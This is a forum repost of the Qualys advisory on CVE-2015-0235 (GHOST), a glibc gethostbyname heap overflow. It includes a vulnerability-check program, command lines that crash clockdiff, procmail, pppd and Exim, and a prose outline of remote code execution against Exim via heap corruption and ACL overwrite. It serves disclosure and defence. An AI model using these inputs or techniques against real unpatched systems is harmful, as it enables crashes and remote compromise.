Nytro Posted January 27, 2015 Report Posted January 27, 2015 GHOST: glibc gethostbyname buffer overflowQualys Security Advisory CVE-2015-0235GHOST: glibc gethostbyname buffer overflow--[ Contents ]----------------------------------------------------------------1 - Summary2 - Analysis3 - Mitigating factors4 - Case studies5 - Exploitation6 - Acknowledgments--[ 1 - Summary ]-------------------------------------------------------------During a code audit performed internally at Qualys, we discovered abuffer overflow in the __nss_hostname_digits_dots() function of the GNUC Library (glibc). This bug is reachable both locally and remotely viathe gethostbyname*() functions, so we decided to analyze it -- and itsimpact -- thoroughly, and named this vulnerability "GHOST".Our main conclusions are:- Via gethostbyname() or gethostbyname2(), the overflowed buffer is located in the heap. Via gethostbyname_r() or gethostbyname2_r(), the overflowed buffer is caller-supplied (and may therefore be located in the heap, stack, .data, .bss, etc; however, we have seen no such call in practice).- At most sizeof(char *) bytes can be overwritten (ie, 4 bytes on 32-bit machines, and 8 bytes on 64-bit machines). Bytes can be overwritten only with digits ('0'...'9'), dots ('.'), and a terminating null character ('\0').- Despite these limitations, arbitrary code execution can be achieved. As a proof of concept, we developed a full-fledged remote exploit against the Exim mail server, bypassing all existing protections (ASLR, PIE, and NX) on both 32-bit and 64-bit machines. We will publish our exploit as a Metasploit module in the near future.- The first vulnerable version of the GNU C Library is glibc-2.2, released on November 10, 2000.- We identified a number of factors that mitigate the impact of this bug. In particular, we discovered that it was fixed on May 21, 2013 (between the releases of glibc-2.17 and glibc-2.18). Unfortunately, it was not recognized as a security threat; as a result, most stable and long-term-support distributions were left exposed (and still are): Debian 7 (wheezy), Red Hat Enterprise Linux 6 & 7, CentOS 6 & 7, Ubuntu 12.04, for example.--[ 2 - Analysis ]------------------------------------------------------------The vulnerable function, __nss_hostname_digits_dots(), is calledinternally by the glibc in nss/getXXbyYY.c (the non-reentrant version)and nss/getXXbyYY_r.c (the reentrant version). However, the calls aresurrounded by #ifdef HANDLE_DIGITS_DOTS, a macro defined only in:- inet/gethstbynm.c- inet/gethstbynm2.c- inet/gethstbynm_r.c- inet/gethstbynm2_r.c- nscd/gethstbynm3_r.cThese files implement the gethostbyname*() family, and hence the onlyway to reach __nss_hostname_digits_dots() and its buffer overflow. Thepurpose of this function is to avoid expensive DNS lookups if thehostname argument is already an IPv4 or IPv6 address.The code below comes from glibc-2.17: 35 int 36 __nss_hostname_digits_dots (const char *name, struct hostent *resbuf, 37 char **buffer, size_t *buffer_size, 38 size_t buflen, struct hostent **result, 39 enum nss_status *status, int af, int *h_errnop) 40 { .. 57 if (isdigit (name[0]) || isxdigit (name[0]) || name[0] == ':') 58 { 59 const char *cp; 60 char *hostname; 61 typedef unsigned char host_addr_t[16]; 62 host_addr_t *host_addr; 63 typedef char *host_addr_list_t[2]; 64 host_addr_list_t *h_addr_ptrs; 65 char **h_alias_ptr; 66 size_t size_needed; .. 85 size_needed = (sizeof (*host_addr) 86 + sizeof (*h_addr_ptrs) + strlen (name) + 1); 87 88 if (buffer_size == NULL) 89 { 90 if (buflen < size_needed) 91 { .. 95 goto done; 96 } 97 } 98 else if (buffer_size != NULL && *buffer_size < size_needed) 99 {100 char *new_buf;101 *buffer_size = size_needed;102 new_buf = (char *) realloc (*buffer, *buffer_size);103104 if (new_buf == NULL)105 {...114 goto done;115 }116 *buffer = new_buf;117 }...121 host_addr = (host_addr_t *) *buffer;122 h_addr_ptrs = (host_addr_list_t *)123 ((char *) host_addr + sizeof (*host_addr));124 h_alias_ptr = (char **) ((char *) h_addr_ptrs + sizeof (*h_addr_ptrs));125 hostname = (char *) h_alias_ptr + sizeof (*h_alias_ptr);126127 if (isdigit (name[0]))128 {129 for (cp = name;; ++cp)130 {131 if (*cp == '\0')132 {133 int ok;134135 if (*--cp == '.')136 break;...142 if (af == AF_INET)143 ok = __inet_aton (name, (struct in_addr *) host_addr);144 else145 {146 assert (af == AF_INET6);147 ok = inet_pton (af, name, host_addr) > 0;148 }149 if (! ok)150 {...154 goto done;155 }156157 resbuf->h_name = strcpy (hostname, name);...194 goto done;195 }196197 if (!isdigit (*cp) && *cp != '.')198 break;199 }200 }...Lines 85-86 compute the size_needed to store three (3) distinct entitiesin buffer: host_addr, h_addr_ptrs, and name (the hostname). Lines 88-117make sure the buffer is large enough: lines 88-97 correspond to thereentrant case, lines 98-117 to the non-reentrant case.Lines 121-125 prepare pointers to store four (4) distinct entities inbuffer: host_addr, h_addr_ptrs, h_alias_ptr, and hostname. The sizeof(*h_alias_ptr) -- the size of a char pointer -- is missing from thecomputation of size_needed.The strcpy() on line 157 should therefore allow us to write past the endof buffer, at most (depending on strlen(name) and alignment) 4 bytes on32-bit machines, or 8 bytes on 64-bit machines. There is a similarstrcpy() after line 200, but no buffer overflow:236 size_needed = (sizeof (*host_addr)237 + sizeof (*h_addr_ptrs) + strlen (name) + 1);...267 host_addr = (host_addr_t *) *buffer;268 h_addr_ptrs = (host_addr_list_t *)269 ((char *) host_addr + sizeof (*host_addr));270 hostname = (char *) h_addr_ptrs + sizeof (*h_addr_ptrs);...289 resbuf->h_name = strcpy (hostname, name);In order to reach the overflow at line 157, the hostname argument mustmeet the following requirements:- Its first character must be a digit (line 127).- Its last character must not be a dot (line 135).- It must comprise only digits and dots (line 197) (we call this the "digits-and-dots" requirement).- It must be long enough to overflow the buffer. For example, the non-reentrant gethostbyname*() functions initially allocate their buffer with a call to malloc(1024) (the "1-KB" requirement).- It must be successfully parsed as an IPv4 address by inet_aton() (line 143), or as an IPv6 address by inet_pton() (line 147). Upon careful analysis of these two functions, we can further refine this "inet-aton" requirement: . It is impossible to successfully parse a "digits-and-dots" hostname as an IPv6 address with inet_pton() (':' is forbidden). Hence it is impossible to reach the overflow with calls to gethostbyname2() or gethostbyname2_r() if the address family argument is AF_INET6. . Conclusion: inet_aton() is the only option, and the hostname must have one of the following forms: "a.b.c.d", "a.b.c", "a.b", or "a", where a, b, c, d must be unsigned integers, at most 0xfffffffful, converted successfully (ie, no integer overflow) by strtoul() in decimal or octal (but not hexadecimal, because 'x' and 'X' are forbidden).--[ 3 - Mitigating factors ]--------------------------------------------------The impact of this bug is reduced significantly by the followingreasons:- A patch already exists (since May 21, 2013), and has been applied and tested since glibc-2.18, released on August 12, 2013: [BZ #15014] * nss/getXXbyYY_r.c (INTERNAL (REENTRANT_NAME)) [HANDLE_DIGITS_DOTS]: Set any_service when digits-dots parsing was successful. * nss/digits_dots.c (__nss_hostname_digits_dots): Remove redundant variable declarations and reallocation of buffer when parsing as IPv6 address. Always set NSS status when called from reentrant functions. Use NETDB_INTERNAL instead of TRY_AGAIN when buffer too small. Correct computation of needed size. * nss/Makefile (tests): Add test-digits-dots. * nss/test-digits-dots.c: New test.- The gethostbyname*() functions are obsolete; with the advent of IPv6, recent applications use getaddrinfo() instead.- Many programs, especially SUID binaries reachable locally, use gethostbyname() if, and only if, a preliminary call to inet_aton() fails. However, a subsequent call must also succeed (the "inet-aton" requirement) in order to reach the overflow: this is impossible, and such programs are therefore safe.- Most of the other programs, especially servers reachable remotely, use gethostbyname() to perform forward-confirmed reverse DNS (FCrDNS, also known as full-circle reverse DNS) checks. These programs are generally safe, because the hostname passed to gethostbyname() has normally been pre-validated by DNS software: . "a string of labels each containing up to 63 8-bit octets, separated by dots, and with a maximum total of 255 octets." This makes it impossible to satisfy the "1-KB" requirement. . Actually, glibc's DNS resolver can produce hostnames of up to (almost) 1025 characters (in case of bit-string labels, and special or non-printable characters). But this introduces backslashes ('\\') and makes it impossible to satisfy the "digits-and-dots" requirement.--[ 4 - Case studies ]--------------------------------------------------------In this section, we will analyze real-world examples of programs thatcall the gethostbyname*() functions, but we first introduce a small testprogram that checks whether a system is vulnerable or not:[user@fedora-19 ~]$ cat > GHOST.c << EOF#include <netdb.h>#include <stdio.h>#include <stdlib.h>#include <string.h>#include <errno.h>#define CANARY "in_the_coal_mine"struct { char buffer[1024]; char canary[sizeof(CANARY)];} temp = { "buffer", CANARY };int main(void) { struct hostent resbuf; struct hostent *result; int herrno; int retval; /*** strlen (name) = size_needed - sizeof (*host_addr) - sizeof (*h_addr_ptrs) - 1; ***/ size_t len = sizeof(temp.buffer) - 16*sizeof(unsigned char) - 2*sizeof(char *) - 1; char name[sizeof(temp.buffer)]; memset(name, '0', len); name[len] = '\0'; retval = gethostbyname_r(name, &resbuf, temp.buffer, sizeof(temp.buffer), &result, &herrno); if (strcmp(temp.canary, CANARY) != 0) { puts("vulnerable"); exit(EXIT_SUCCESS); } if (retval == ERANGE) { puts("not vulnerable"); exit(EXIT_SUCCESS); } puts("should not happen"); exit(EXIT_FAILURE);}EOF[user@fedora-19 ~]$ gcc GHOST.c -o GHOSTOn Fedora 19 (glibc-2.17):[user@fedora-19 ~]$ ./GHOSTvulnerableOn Fedora 20 (glibc-2.18):[user@fedora-20 ~]$ ./GHOSTnot vulnerable----[ 4.1 - The GNU C Library ]-----------------------------------------------The glibc itself contains a few calls to gethostbyname*() functions. Inparticular, getaddrinfo() calls gethostbyname2_r() if, but only if, afirst call to inet_aton() fails: in accordance with the "inet-aton"requirement, these internal calls are safe. For example,eglibc-2.13/sysdeps/posix/getaddrinfo.c: at->family = AF_UNSPEC; ... if (__inet_aton (name, (struct in_addr *) at->addr) != 0) { if (req->ai_family == AF_UNSPEC || req->ai_family == AF_INET) at->family = AF_INET; else if (req->ai_family == AF_INET6 && (req->ai_flags & AI_V4MAPPED)) { ... at->family = AF_INET6; } else return -EAI_ADDRFAMILY; ... } ... if (at->family == AF_UNSPEC && (req->ai_flags & AI_NUMERICHOST) == 0) { ... size_t tmpbuflen = 512; char *tmpbuf = alloca (tmpbuflen); ... rc = __gethostbyname2_r (name, family, &th, tmpbuf, tmpbuflen, &h, &herrno); ... }----[ 4.2 - mount.nfs ]-------------------------------------------------------Similarly, mount.nfs (a SUID-root binary) is not vulnerable: if (inet_aton(hostname, &addr->sin_addr)) return 0; if ((hp = gethostbyname(hostname)) == NULL) { nfs_error(_("%s: can't get address for %s\n"), progname, hostname); return -1; }----[ 4.3 - mtr ]-------------------------------------------------------------mtr (another SUID-root binary) is not vulnerable either, because itcalls getaddrinfo() instead of gethostbyname*() functions on any modern(ie, IPv6-enabled) system:#ifdef ENABLE_IPV6 /* gethostbyname2() is deprecated so we'll use getaddrinfo() instead. */ ... error = getaddrinfo( Hostname, NULL, &hints, &res ); if ( error ) { if (error == EAI_SYSTEM) perror ("Failed to resolve host"); else fprintf (stderr, "Failed to resolve host: %s\n", gai_strerror(error)); exit( EXIT_FAILURE ); } ...#else host = gethostbyname(Hostname); if (host == NULL) { herror("mtr gethostbyname"); exit(1); } ...#endif----[ 4.4 - iputils ]---------------------------------------------------------------[ 4.4.1 - clockdiff ]---------------------------------------------------clockdiff is vulnerable in a straightforward manner: hp = gethostbyname(argv[1]); if (hp == NULL) { fprintf(stderr, "clockdiff: %s: host not found\n", argv[1]); exit(1); }[user@fedora-19-32b ~]$ ls -l /usr/sbin/clockdiff-rwxr-xr-x. 1 root root 15076 Feb 1 2013 /usr/sbin/clockdiff[user@fedora-19-32b ~]$ getcap /usr/sbin/clockdiff/usr/sbin/clockdiff = cap_net_raw+ep[user@fedora-19-32b ~]$ /usr/sbin/clockdiff `python -c "print '0' * $((0x10000-16*1-2*4-1-4))"`.Segmentation fault[user@fedora-19-32b ~]$ /usr/sbin/clockdiff `python -c "print '0' * $((0x20000-16*1-2*4-1-4))"`Segmentation fault[user@fedora-19-32b ~]$ dmesg...[202071.118929] clockdiff[3610]: segfault at b86711f4 ip b75de0c6 sp bfc191f0 error 6 in libc-2.17.so[b7567000+1b8000][202086.144336] clockdiff[3618]: segfault at b90d0d24 ip b75bb0c6 sp bf8e9dc0 error 6 in libc-2.17.so[b7544000+1b8000]------[ 4.4.2 - ping and arping ]---------------------------------------------ping and arping call gethostbyname() and gethostbyname2(), respectively,if and only if inet_aton() fails first. This time, however, there isanother function call in between (Fedora, for example, does defineUSE_IDN):--------[ 4.4.2.1 - ping ]---------------------------------------------------- if (inet_aton(target, &whereto.sin_addr) == 1) { ... } else { char *idn;#ifdef USE_IDN int rc; ... rc = idna_to_ascii_lz(target, &idn, 0); if (rc != IDNA_SUCCESS) { fprintf(stderr, "ping: IDN encoding failed: %s\n", idna_strerror(rc)); exit(2); }#else idn = target;#endif hp = gethostbyname(idn);--------[ 4.4.2.2 - arping ]-------------------------------------------------- if (inet_aton(target, &dst) != 1) { struct hostent *hp; char *idn = target;#ifdef USE_IDN int rc; rc = idna_to_ascii_lz(target, &idn, 0); if (rc != IDNA_SUCCESS) { fprintf(stderr, "arping: IDN encoding failed: %s\n", idna_strerror(rc)); exit(2); }#endif hp = gethostbyname2(idn, AF_INET);--------[ 4.4.2.3 - Analysis ]------------------------------------------------If idna_to_ascii_lz() modifies the target hostname, the first call toinet_aton() could fail and the second call (internal to gethostbyname())could succeed. For example, idna_to_ascii_lz() transforms any Unicodedot-like character (0x3002, 0xFF0E, 0xFF61) into an ASCII dot (".").But it also restricts the length of a domain label to 63 characters:this makes it impossible to reach 1024 bytes (the "1-KB" requirement)with only 4 labels and 3 dots (the "inet-aton" requirement).Unless inet_aton() (actually, strtoul()) can be tricked into acceptingmore than 3 dots? Indeed, idna_to_ascii_lz() does not restrict the totallength of a domain name. glibc supports "thousands' grouping characters"(man 3 printf); for example, sscanf(str, "%'lu", &ul) yields 1000 whenprocessing any of the following input strings:- "1,000" in an English locale;- "1 000" in a French locale; and- "1.000" in a German or Spanish locale.strtoul() implements this "number grouping" too, but its use is limitedto internal glibc functions. Conclusion: more than 3 dots is impossible,and neither ping nor arping is vulnerable.----[ 4.5 - procmail ]--------------------------------------------------------procmail (a SUID-root and SGID-mail binary) is vulnerable through its"comsat/biff" feature:#define COMSAThost "localhost" /* where the biff/comsat daemon lives */...#define SERV_ADDRsep '@' /* when overriding in COMSAT=serv@addr */int setcomsat(chp)const char*chp;{ char*chad; ... chad=strchr(chp,SERV_ADDRsep); /* @ separator? */ ... if(chad) *chad++='\0'; /* split the specifier */ if(!chad||!*chad) /* no host */#ifndef IP_localhost /* Is "localhost" preresolved? */ chad=COMSAThost; /* nope, use default */#else /* IP_localhost */ { ... } else#endif /* IP_localhost */ { ... if(!(host=gethostbyname(chad))||!host->h_0addr_list)user@debian-7-2-32b:~$ ls -l /usr/bin/procmail-rwsr-sr-x 1 root mail 83912 Jun 6 2012 /usr/bin/procmailuser@debian-7-2-32b:~$ /usr/bin/procmail 'VERBOSE=on' 'COMSAT=@'`python -c "print '0' * $((0x500-16*1-2*4-1-4))"` < /dev/null...*** glibc detected *** /usr/bin/procmail: free(): invalid next size (normal): 0x0980de30 ***======= Backtrace: =========/lib/i386-linux-gnu/i686/cmov/libc.so.6(+0x70f01)[0xb76b2f01]/lib/i386-linux-gnu/i686/cmov/libc.so.6(+0x72768)[0xb76b4768]/lib/i386-linux-gnu/i686/cmov/libc.so.6(cfree+0x6d)[0xb76b781d]/usr/bin/procmail[0x80548ec]/lib/i386-linux-gnu/i686/cmov/libc.so.6(__libc_start_main+0xe6)[0xb7658e46]/usr/bin/procmail[0x804bb55]======= Memory map: ========...0980a000-0982b000 rw-p 00000000 00:00 0 [heap]...Aborteduser@debian-7-2-32b:~$ _COMSAT_='COMSAT=@'`python -c "print '0' * $((0x500-16*1-2*4-1-4))"`user@debian-7-2-32b:~$ /usr/bin/procmail "$_COMSAT_" "$_COMSAT_"1234 < /dev/nullSegmentation faultuser@debian-7-2-32b:~$ /usr/bin/procmail "$_COMSAT_"12345670 "$_COMSAT_"123456701234 < /dev/nullSegmentation faultuser@debian-7-2-32b:~$ dmesg...[211409.564917] procmail[4549]: segfault at c ip b768e5a4 sp bfcb53d8 error 4 in libc-2.13.so[b761c000+15c000][211495.820710] procmail[4559]: segfault at b8cb290c ip b763c5a4 sp bf870c98 error 4 in libc-2.13.so[b75ca000+15c000]----[ 4.6 - pppd ]------------------------------------------------------------pppd (yet another SUID-root binary) calls gethostbyname() if apreliminary call to inet_addr() (a simple wrapper around inet_aton())fails. "The inet_addr() function converts the Internet host address cpfrom IPv4 numbers-and-dots notation into binary data in network byteorder. If the input is invalid, INADDR_NONE (usually -1) is returned.Use of this function is problematic because -1 is a valid address(255.255.255.255)." A failure for inet_addr(), but a success forinet_aton(), and consequently a path to the buffer overflow.user@ubuntu-12-04-32b:~$ ls -l /usr/sbin/pppd-rwsr-xr-- 1 root dip 273272 Feb 3 2011 /usr/sbin/pppduser@ubuntu-12-04-32b:~$ iduid=1000(user) gid=1000(user) groups=1000(user),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev)------[ 4.6.1 - ms-dns option ]-----------------------------------------------static intsetdnsaddr(argv) char **argv;{ u_int32_t dns; struct hostent *hp; dns = inet_addr(*argv); if (dns == (u_int32_t) -1) { if ((hp = gethostbyname(*argv)) == NULL) { option_error("invalid address parameter '%s' for ms-dns option", *argv); return 0; } dns = *(u_int32_t *)hp->h_addr; }user@ubuntu-12-04-32b:~$ /usr/sbin/pppd 'dryrun' 'ms-dns' `python -c "print '0' * $((0x1000-16*1-2*4-16-4))"`'377.255.255.255'*** glibc detected *** /usr/sbin/pppd: free(): invalid next size (normal): 0x09c0f928 ***======= Backtrace: =========/lib/i386-linux-gnu/libc.so.6(+0x75ee2)[0xb75e1ee2]/lib/i386-linux-gnu/libc.so.6(+0x65db5)[0xb75d1db5]/lib/i386-linux-gnu/libc.so.6(fopen+0x2b)[0xb75d1deb]/usr/sbin/pppd(options_from_file+0xa8)[0x8064948]/usr/sbin/pppd(options_for_tty+0xde)[0x8064d7e]/usr/sbin/pppd(tty_process_extra_options+0xa4)[0x806e1a4]/usr/sbin/pppd(main+0x1cf)[0x8050b2f]/lib/i386-linux-gnu/libc.so.6(__libc_start_main+0xf3)[0xb75854d3]======= Memory map: ========...09c0c000-09c2d000 rw-p 00000000 00:00 0 [heap]...Aborted (core dumped)------[ 4.6.2 - ms-wins option ]----------------------------------------------static intsetwinsaddr(argv) char **argv;{ u_int32_t wins; struct hostent *hp; wins = inet_addr(*argv); if (wins == (u_int32_t) -1) { if ((hp = gethostbyname(*argv)) == NULL) { option_error("invalid address parameter '%s' for ms-wins option", *argv); return 0; } wins = *(u_int32_t *)hp->h_addr; }user@ubuntu-12-04-32b:~$ /usr/sbin/pppd 'dryrun' 'ms-wins' `python -c "print '0' * $((0x1000-16*1-2*4-16-4))"`'377.255.255.255'*** glibc detected *** /usr/sbin/pppd: free(): invalid next size (normal): 0x08a64928 ***======= Backtrace: =========/lib/i386-linux-gnu/libc.so.6(+0x75ee2)[0xb757aee2]/lib/i386-linux-gnu/libc.so.6(+0x65db5)[0xb756adb5]/lib/i386-linux-gnu/libc.so.6(fopen+0x2b)[0xb756adeb]/usr/sbin/pppd(options_from_file+0xa8)[0x8064948]/usr/sbin/pppd(options_for_tty+0xde)[0x8064d7e]/usr/sbin/pppd(tty_process_extra_options+0xa4)[0x806e1a4]/usr/sbin/pppd(main+0x1cf)[0x8050b2f]/lib/i386-linux-gnu/libc.so.6(__libc_start_main+0xf3)[0xb751e4d3]======= Memory map: ========...08a61000-08a82000 rw-p 00000000 00:00 0 [heap]...Aborted (core dumped)------[ 4.6.3 - socket option ]-----------------------------------------------static intopen_socket(dest) char *dest;{ char *sep, *endp = NULL; int sock, port = -1; u_int32_t host; struct hostent *hent; ... sep = strchr(dest, ':'); if (sep != NULL) port = strtol(sep+1, &endp, 10); if (port < 0 || endp == sep+1 || sep == dest) { error("Can't parse host:port for socket destination"); return -1; } *sep = 0; host = inet_addr(dest); if (host == (u_int32_t) -1) { hent = gethostbyname(dest); if (hent == NULL) { error("%s: unknown host in socket option", dest); *sep = ':'; return -1; } host = *(u_int32_t *)(hent->h_addr_list[0]); }user@ubuntu-12-04-32b:~$ /usr/sbin/pppd 'socket' `python -c "print '0' * $((0x1000-16*1-2*4-16-4))"`'377.255.255.255:1'user@ubuntu-12-04-32b:~$ *** glibc detected *** /usr/sbin/pppd: malloc(): memory corruption: 0x09cce270 ***----[ 4.7 - Exim ]------------------------------------------------------------The Exim mail server is exploitable remotely if configured to performextra security checks on the HELO and EHLO commands ("helo_verify_hosts"or "helo_try_verify_hosts" option, or "verify = helo" ACL); we developeda reliable and fully-functional exploit that bypasses all existingprotections (ASLR, PIE, NX) on 32-bit and 64-bit machines.user@debian-7-7-64b:~$ grep helo /var/lib/exim4/config.autogenerated | grep verifyhelo_verify_hosts = *user@debian-7-7-64b:~$ python -c "print '0' * $((0x500-16*1-2*8-1-8))"000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000user@debian-7-7-64b:~$ telnet 127.0.0.1 25Trying 127.0.0.1...Connected to 127.0.0.1.Escape character is '^]'.220 debian-7-7-64b ESMTP Exim 4.80 ...HELO 000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000Connection closed by foreign host.user@debian-7-7-64b:~$ dmesg...[ 1715.842547] exim4[2562]: segfault at 7fabf1f0ecb8 ip 00007fabef31bd04 sp 00007fffb427d5b0 error 6 in libc-2.13.so[7fabef2a2000+182000]--[ 5 - Exploitation ]------------------------------------------------------------[ 5.1 - Code execution ]--------------------------------------------------In this section, we describe how we achieve remote code executionagainst the Exim SMTP mail server, bypassing the NX (No-eXecute)protection and glibc's malloc hardening.First, we overflow gethostbyname's heap-based buffer and partiallyoverwrite the size field of the next contiguous free chunk of memorywith a slightly larger size (we overwrite only 3 bytes of the sizefield; in any case, we cannot overflow more than 4 bytes on 32-bitmachines, or 8 bytes on 64-bit machines): |< malloc_chunk |-----|----------------------|---+--------------------|----- ... | gethostbyname buffer |p|s|f|b|F|B| free chunk | ...-----|----------------------|---+--------------------|----- | X| |------------------------->| overflowwhere:struct malloc_chunk { INTERNAL_SIZE_T prev_size; /* Size of previous chunk (if free). */ INTERNAL_SIZE_T size; /* Size in bytes, including overhead. */ struct malloc_chunk* fd; /* double links -- used only if free. */ struct malloc_chunk* bk; /* Only used for large blocks: pointer to next larger size. */ struct malloc_chunk* fd_nextsize; /* double links -- used only if free. */ struct malloc_chunk* bk_nextsize;};and: X marks the spot where the crucial memory corruption takes place.As a result, this artificially-enlarged free chunk, which is managed byglibc's malloc, overlaps another block of memory, Exim's current_block,which is managed by Exim's internal memory allocator: |< malloc_chunk |< storeblock | |-----|----------------------|------------------------|---------------+---|----- ... | gethostbyname buffer |p|s|f|b|F|B| free chunk |n|l| current_block | ...-----|----------------------|------------------------|---------------+---|----- | | |<-------------------------------------->| artificially enlarged free chunkwhere:typedef struct storeblock { struct storeblock *next; size_t length;} storeblock;Then, we partially allocate the enlarged free chunk and overwrite thebeginning of Exim's current_block of memory (the "storeblock" structure)with arbitrary data. In particular, we overwrite its "next" field: |< malloc_chunk |< storeblock | |-----|----------------------|------------------------|--------+----------|----- ... | gethostbyname buffer |p|s|f|b|F|B| aaaaaaaaaa |n|l| current_block | ...-----|----------------------|------------------------|--------+----------|----- | X | |<------------------------------->| allocated chunkThis effectively turns gethostbyname's buffer overflow into awrite-anything-anywhere primitive, because we control both the pointerto the next block of memory returned by Exim's allocator (the hijacked"next" pointer) and the data allocated (a null-terminated string, theargument of an SMTP command we send to Exim).Finally, we use this write-anything-anywhere primitive to overwriteExim's run-time configuration, which is cached in the heap memory. Moreprecisely, we overwrite Exim's Access Control Lists (ACLs), and achievearbitrary command execution thanks to Exim's "${run{<command> <args>}}"string expansion mechanism: |< storeblock |-----|-------------------------------|---------------|-------------------|----- ... | Exim's run-time configuration | ... .. .. ... |n|l| current_block | ...-----|----x--------------------------|---------------|x------------------|----- | | '<------------------------------------------' hijacked next pointer |< ACLs >|-----|----+-----+--------+------+----|---------------|-------------------|----- ... | Exim's run-time configuration | ... .. .. ... | old current_block | ...-----|----+-----+--------+------+----|---------------|-------------------|----- | XXXXXXXX | |<------------------->| new current_block----[ 5.2 - Information leak ]------------------------------------------------The success of this exploit depends on an important piece ofinformation: the address of Exim's run-time configuration in the heap.In this section, we describe how we obtain this address, bypassing theASLR (Address Space Layout Randomization) and PIE (Position IndependentExecutable) protections.First, we overflow gethostbyname's heap-based buffer and partiallyoverwrite the size field of the next contiguous free chunk of memorywith a slightly larger size: |< malloc_chunk |-----|----------------------|---+-------------------------|----- ... | gethostbyname buffer |p|s|f|b|F|B| next free chunk | ...-----|----------------------|---+-------------------------|----- | X| |------------------------->| overflowAs a result, this artificially-enlarged free chunk overlaps anotherblock of memory, where Exim saves the error message "503 sender not yetgiven\r\n" for later use: |< malloc_chunk |-----|----------------------|-----------------------------|----------+----|----- ... | gethostbyname buffer |p|s|f|b|F|B| real free chunk | error message | ...-----|----------------------|-----------------------------|----------+----|----- | | |<-------------------------------------->| artificially enlarged free chunkThen, we partially allocate the artificially-enlarged free chunk,thereby splitting it in two: the newly allocated chunk, and a smaller,free chunk (the remainder from the split). The malloc_chunk header forthis remaining free chunk overwrites the very beginning of the savederror message with a pointer to the heap (the fd_nextsize pointer): |< malloc_chunk |< malloc_chunk | |-----|----------------------|---------------------+-------|----------+----|----- ... | gethostbyname buffer |p|s|f|b|F|B| aaaaaaa |p|s|f|b|F|B| r message | ...-----|----------------------|---------------------+-------|----------+----|----- | | X | |<------------------->|<---------------->| allocated chunk free chunkFinally, we send an invalid SMTP command to Exim, and retrieve thefd_nextsize heap pointer from Exim's SMTP response, which includes thecorrupted error message. This effectively turns gethostbyname's bufferoverflow into an information leak; moreover, it allows us to distinguishbetween 32-bit and 64-bit machines.--[ 6 - Acknowledgments ]-----------------------------------------------------We would like to thank Alexander Peslyak of the Openwall Project for hishelp with the disclosure process of this vulnerability.Sursa: https://www.qualys.com/research/security-advisories/GHOST-CVE-2015-0235.txt Quote